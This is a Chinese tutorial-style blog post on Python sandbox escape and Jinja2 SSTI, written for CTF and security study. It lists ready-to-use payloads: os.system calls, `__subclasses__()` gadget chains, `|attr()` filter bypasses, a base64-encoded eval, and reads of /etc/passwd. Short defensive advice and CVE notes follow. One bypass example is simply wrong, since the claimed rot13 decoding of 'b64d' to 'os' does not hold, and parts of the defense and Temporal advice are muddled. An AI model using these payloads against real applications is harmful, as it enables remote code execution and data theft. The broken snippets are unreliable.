漏洞知识点《Python沙盒逃逸深度解析》

Python沙盒逃逸是绕过受限执行环境(沙盒)的限制,执行任意代码或访问敏感数据的技术。其核心在于利用Python的动态特性、内置对象继承链及模块导入机制,突破沙盒的防护措施。以下是详细解析:

一、沙盒逃逸的核心目标

  1. 执行系统命令
    通过调用os.systemsubprocess.Popen等函数执行Shell命令,例如读取文件或反弹Shell。
  2. 文件操作
    读取敏感文件(如/etc/passwd)、写入后门文件。
  3. 环境信息泄露
    获取沙盒配置、环境变量或密钥(如__builtins__中的敏感模块)。

二、常见攻击链与利用方法

  1. 探测沙盒漏洞

    • 基础测试:注入{{7*7}}__import__('os').system('id')验证模板引擎动态执行能力。
    • 检查内置对象:通过dir()__builtins__查看可用模块。
  2. 访问危险函数

    • 直接调用模块:若未禁用os,直接执行命令:
      __import__('os').system('cat /flag')
      
    • 间接导入:通过字符串编码绕过关键字过滤:
      __import__('b64d'.decode('rot13')).system('id')  # 'b64d'→'os'
      
  3. 类继承链利用

    • 遍历子类:从基础类(如object)通过__subclasses__()找到危险类:
      ''.__class__.__mro__[-1].__subclasses__()[X].__init__.__globals__['os'].system('id')
      
      其中Xos._wrap_closesubprocess.Popen的类索引。
    • 利用文件对象:通过types.FileTypeopen读取文件:
      types.FileType('/etc/passwd').read()
      
  4. 绕过过滤的技巧

    • 属性链分割:使用getattr|attr()绕过点号过滤:
      request|attr('application')|attr('__globals__')['os'].system('id')
      
    • 编码混淆:Base64、ROT13编码命令字符串:
      eval('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2lkJyk='.decode('base64'))
      
    • 利用内联函数:通过timeitplatform等非敏感模块间接调用命令:
      timeit.timeit("__import__('os').system('id')", number=1)
      

三、典型沙盒环境与绕过案例

  1. Jinja2模板引擎SSTI

    • 漏洞场景:直接渲染未过滤的用户输入,如render_template_string(user_input)
    • 利用链:通过{{config}}泄露密钥,或通过类继承链调用os模块。
  2. RestrictedPython沙盒

    • 限制机制:禁用__import__open等函数。
    • 绕过方法:利用__builtins__.__dict___getattr_动态获取危险函数。
  3. CTF题目实战

    • 常见考点:通过__subclasses__找到warnings.catch_warnings类,其__init__的全局变量包含sys模块。
    • 文件读取绕过:使用().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()

四、防御措施与最佳实践

  1. 禁用高危函数
    在沙盒配置中移除evalexecossubprocess等模块,例如:

    __builtins__.__dict__.clear()  # 清除内置函数
    
  2. 限制模块导入

    • 白名单机制:仅允许预定义的模块和函数。
    • 沙盒环境:使用RestrictedPythonPyPy沙盒,限制全局状态访问。
  3. 输入过滤与静态模板

    • 正则过滤:拦截{{__class____import__等敏感符号。
    • 静态渲染:优先使用render_template而非动态拼接模板。
  4. 监控与加固

    • 日志审计:记录异常代码执行行为。
    • 容器隔离:将沙盒运行在Docker等隔离环境中,限制资源访问。

五、历史漏洞与扩展

  • CVE-2017-5524:Plone CMS因未过滤Python字符串格式化方法导致沙盒绕过,攻击者可泄露敏感数据。
  • Temporal沙盒绕过:通过sandbox_unrestricted()上下文管理器或禁用@workflow.defn(sandboxed=False)完全绕过防护。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值